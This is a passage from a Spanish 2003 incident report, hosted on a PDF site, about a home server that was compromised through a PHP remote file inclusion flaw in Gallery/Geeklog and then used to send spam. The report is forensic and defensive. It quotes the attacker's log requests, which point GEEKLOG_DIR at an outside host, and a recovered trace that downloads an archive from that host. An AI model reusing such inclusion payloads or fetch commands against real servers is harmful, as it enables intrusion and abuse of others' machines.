PDF de programación - La Rebelión de los spammers

Imágen de pdf La Rebelión de los spammers

La Rebelión de los spammersgráfica de visualizaciones

Publicado el 29 de Marzo del 2018
455 visualizaciones desde el 29 de Marzo del 2018
65,9 KB
23 paginas
Creado hace 20a (28/10/2003)
La Rebelión de los spammers

David Barroso Berrueta

September, 26th 2003

1. La rebelión de los spammers

La gente que envía spam cada día es más inteligente, y a la vez difícil de detectar, que en mi opinión, es algo
extraño, puesto que una persona inteligente es suficientemente lista para no molestar a millones de personas.
Entonces, ¿por qué estas personas continúan ayudando a compañías y personas poco éticas que envían estos
correos no solicitados? La razón debería ser simple y muy común estos días: dinero.

Pero no voy a hablar sobre los motivos de la comunidad spam para mandar millones de correos sin sentido
contando como conseguir una buena hipoteca, incrementar la longitud de mi cuerpo o cómo hacer negocios con
un príncipe de África. Esta es la historia de cómo uno de los servidores que tengo en mi casa fue comprometido
y usado para envíos masivos de spam en un entorno que nunca he visto (pero era probable que sucediera).

1.1. La intrusión

Un día me dí cuenta que uno de mis servidores remoto estaba enviando 24 horas al día una continua corriente de
11Kbytes, usando el 100% del ancho de banda de subida (128Kbits). Este servidor tiene ejecutándose al servidor
Apache y también actúa como servidor de correo, pero no existe ninguna otra aplicación que pudiera mandar
tanto tráfico durante un día entero. Así que, inmediatamente entré en la máquina remota para saber qué estaba
pasando, pensando que mi máquina estaba participando en algún ataque DDoS, pero estaba equivocado. Un
simple listado de procesos (ps -ef) me abriría los ojos:

www-data 29990
-c /tmp/abchy6/httpd.conf

1

0 Aug21 ?

00:00:04 /tmp/abchy6/httpd

Había exactamente 106 procesos como el de arriba corriendo en mi máquina. Simplemente al mirar al directorio
del proceso todas mis alarmas saltaron. Más aún cuando descubrí que el directorio ’/tmp/abchy6’ no existía en la
máquina. El usuario dueño del proceso sería la clave para conocer el origen del proceso, porque sólo el servidor
Apache se ejecuta como este usuario. El log de acceso del servidor Apache confirmó que esta fue la puerta de
entrada del atacante:

www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:45:02 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"
www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:50:13 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"

1

Esta dirección ip pertenece a ServePath, de San Francisco, USA. La información en ARIN es la siguiente:

La rebelión de los spammers

ServePath, LLC
SERVEP
650 Townsend Street
Suite 252
San Francisco

OrgName:
OrgID:
Address:
Address:
City:
StateProv: CA
PostalCode: 94103
Country:

US

216.93.160.0 - 216.93.191.255
216.93.160.0/19
SERVEPATH

NetRange:
CIDR:
NetName:
NetHandle: NET-216-93-160-0-1
Parent:
NetType:
NameServer: NS.SERVEPATH.COM
NameServer: NS1.SERVEPATH.COM
Comment:
RegDate:
Updated:

NET-216-0-0-0-0
Direct Allocation

2002-11-15
2003-04-10

NOCHandle: SN458-ARIN
NOCName:
NOCPhone: +1-415-252-3600
NOCEmail: [email protected]

NOC, ServePath, ServePath

OrgTechHandle: SN458-ARIN
OrgTechName:
OrgTechPhone: +1-415-252-3600
OrgTechEmail: [email protected]

NOC, ServePath, ServePath

# ARIN WHOIS database, last updated 2003-09-05 19:15
# Enter ? for additional hints on searching ARIN’s WHOIS database.

Comprobemos con la última versión de p0f (http://lcamtuf.coredump.cx/p0f/) qué Sistema Operativo es esa
dirección ip. p0f es una herramienta para reconocimiento pasivo de SO, que intenta adivinar un Sistema
Operativo dependiendo de sus características, como puede ser su TTL, tamaño de ventana TCP, ...

p0f - passive os fingerprinting utility, version 2.0-beta
(C) M. Zalewski <[email protected]>, W. Stearns <[email protected]>
p0f: listening on ’/home/tomac/ih/snap216.93.171.30.pcap’, 110 fingerprints, rule: ’any’.
216.93.171.130:1358 - FreeBSD 4.6-4.8 (up: 908 hrs)
-> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:1549 - FreeBSD 4.6-4.8 (up: 908 hrs)
-> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:2227 - FreeBSD 4.6-4.8 (up: 909 hrs)
-> x.x.x.x:80 (distance 22, link: ethernet/modem)

Así que la máquina originante del ataque parece que tiene FreeBSD 4.6-4.8, y lleva encendida unas 909 horas.

2

La rebelión de los spammers

Hmm.. gallery (http://gallery.menalto.com) es una serie de scripts de php para poder tener múltiples albumes de
fotos con muchas características interesantes, y geeklog (http://www.geeklog.net) es otra serie de scripts php para
mantener un weblog público para una comunidad. Yo tenía instalados y configurados los dos, y había integrado
gallery en geeklog siguiendo un procedimiento descrito en otra página de geeklog, así que no era una instalación
por defecto. Era hora de comprobar la variable sospechosa ’GEEKLOG_DIR’ en el archivo User.php:

require_once($GEEKLOG_DIR . ’/lib-common.php’);

Así que eso es. El script php no inicializa debidamente la variable y así puede ser modificada en el HTTP GET.
Además, la sentencia ’require_once’ incluye y evalúa el archivo especificado durante la ejecución del script.
Siendo lo curioso que soy, intenté descargar el fichero ’http://www.4goofs.com/sftb/lib-common.php’, pero el
fichero no existía en el servidor, puesto que recibí un ’301 Moved Permanently’ y luego un ’302 Found’, pero era
el fichero not_found.html, la página de error por defecto, lo cuál me pareció un poco raro.

Pero todavía no sabía nada sobre la misteriosa corriente de bytes que salía de mi máquina. Al ejecutar tcpdump
en la máquina remota, me dí cuenta que estaba mandado varios cientos de correos por minuto. Y todos ellos eran
spam. Tenía cientos de diferentes conexiones TCP a un montón de servidores de correo diferentes (puerto TCP
25), enviando correos con <[email protected]> como el remitente real, y
<[email protected]> como el remitente ficticio. Inmediatamente comprobé el log de mi servidor de
correo, buscando alguna pista, e incluso comprobé que mi servidor de correo no era un ’open relay’, solamente
para estar seguro. Pero no encontré nada, los logs eran normales; así que, esos extraños procesos podrían estar
relacionados con el envío masivo de spam.

¿Qué estaban haciendo exactamente estos procesos? Se podía encontrar una respuesta en el directorio /proc.
Hay una entrada en este directorio para cada proceso que se ejecuta, describiendo detalles interesantes sobre los
procesos, como que descriptores de fichero tienen abiertos, las variables de entorno, el directorio desde el cual se
ejecutaron, cómo se ejecutaron, un enlace simbólico a la imagen del proceso corriendo en memoria, etc. Y esto
fue lo que encontré:

cwd -> /var/www/geeklog/public_html/gallery/classes/geeklog
exe -> /tmp/upxCEIBRRYA2VC (deleted)
cmdline: /tmp/abchy6/httpd -c /tmp/abchy6/httpd.conf

La razón para el nombre extraño upxCEIBRRYA2VC es porque el binario ha sido comprimido usando UPX
(http://upx.sourceforge.net), que es una herramienta excelente para comprimir binarios ejecutables. Al ejecutarse,
automáticamente se descomprime en un fichero temporal para poder ejecutarse normalmente. Incluso comprobé
con otra herramienta excelente, lsof cada dispositivo, descriptor de fichero o socket abierto por el proceso:

TYPE
DIR

DIR
REG

FD
cwd

rtd
txt

mem
mem
mem

5304 www-data
5304 www-data

PID

USER
5304 www-data

COMMAND
4
public_html/gallery/classes/geeklog
4
4
(deleted)
4
4
4
4
4
4
4
4
4
(deleted)

5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data

REG
REG
REG
CHR
0w
CHR
1w
2w
CHR
3u sock
4r FIFO
5u
REG

DEVICE
3,1

SIZE
4096

NODE NAME

223753 /var/www/geeklog/

3,1
4096
3,1 1846603

90210
3,1
3,1
102172
3,1 1153784
1,3
1,3
1,3
0,0
0,5
3,1

0

2 /

128114 /tmp/upxCEIBRRYA2VC

191311 /lib/ld-2.2.5.so
193769 /lib/libpthread-0.9.so
193753 /lib/libc-2.2.5.so
191284 /dev/null
191284 /dev/null
191284 /dev/null

8394579 can’t identify protocol
8394882 pipe

127548 /tmp/session_mm_apache0.sem

3

6u

REG

3,1

5304 www-data

5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data

1,3
7w
CHR
0,5
8w FIFO
1,3
9w
CHR
0,5
10r FIFO
11w FIFO
0,5
12u IPv4 13016572

4
(deleted)
4
4
4
4
4
4
->mx2.bm.vip.sc5.yahoo.com:smtp (ESTABLISHED)
4
->mail.mysam.it:smtp (ESTABLISHED)
4
->wf4.dnsvr.com:smtp (ESTABLISHED)
4
error.log.1
4

13u IPv4 13016573

5304 www-data

14u IPv4 13016574

5304 www-data

20u IPv4

5304 www-data

15w

REG

5304 www-data

La rebelión de los spammers

0

128220 /tmp/session_mm_apache0.sem

191284 /dev/null

8394882 pipe

191284 /dev/null

8394883 pipe
8394883 pipe

TCP mysite.com:52153

TCP mysite.com:55530

TCP mysite.com:51286

6948

256374 /var/log/apache/

TCP *:www (LISTEN)

3,1

1008

(...) (otras 96 conexiones smtp)

Vaya, no solo manda mucho spam, sino que incluso se integra de algún modo en el demonio Apache, y utiliza
hilos para mandar correo en paralelo. Entonces intenté agregar otra herramienta llamada ptrace al proceso, que
me permitiría conocer algo más sobre el proceso (llamadas al sistema, descriptores de fichero, ...) en tiempo real,
pero el proceso murió cuando intenté agregar la herramienta.

Bueno, todavía tenía un montón de detalles que investigar. Intenté recuperar el fichero borrado
/tmp/abchy6/httpd.conf, buscando más detalles sobre el proceso, pero no pudo ser recuperado usando
TASK (http://www.sleuthkit.org), que es una herramienta para análisis forense. Buscando con TASK en el disco
duro algunas cadenas de texto específicas, encontré un bloque no asignado con el siguiente contenido:

cat: /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e: No such file or directory
kill: usage: kill [-s sigspec | -n signum | -sigspec] [pid | job]... or kill -l [sigspec]
sh: fetch: command not found
--18:45:58-- http://4goofs.com/ad13/archive.tgz

=> ‘/tmp/abchy6/archive.tgz’

Resolving
  • Links de descarga
http://lwp-l.com/pdf9992

Comentarios de: La Rebelión de los spammers (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad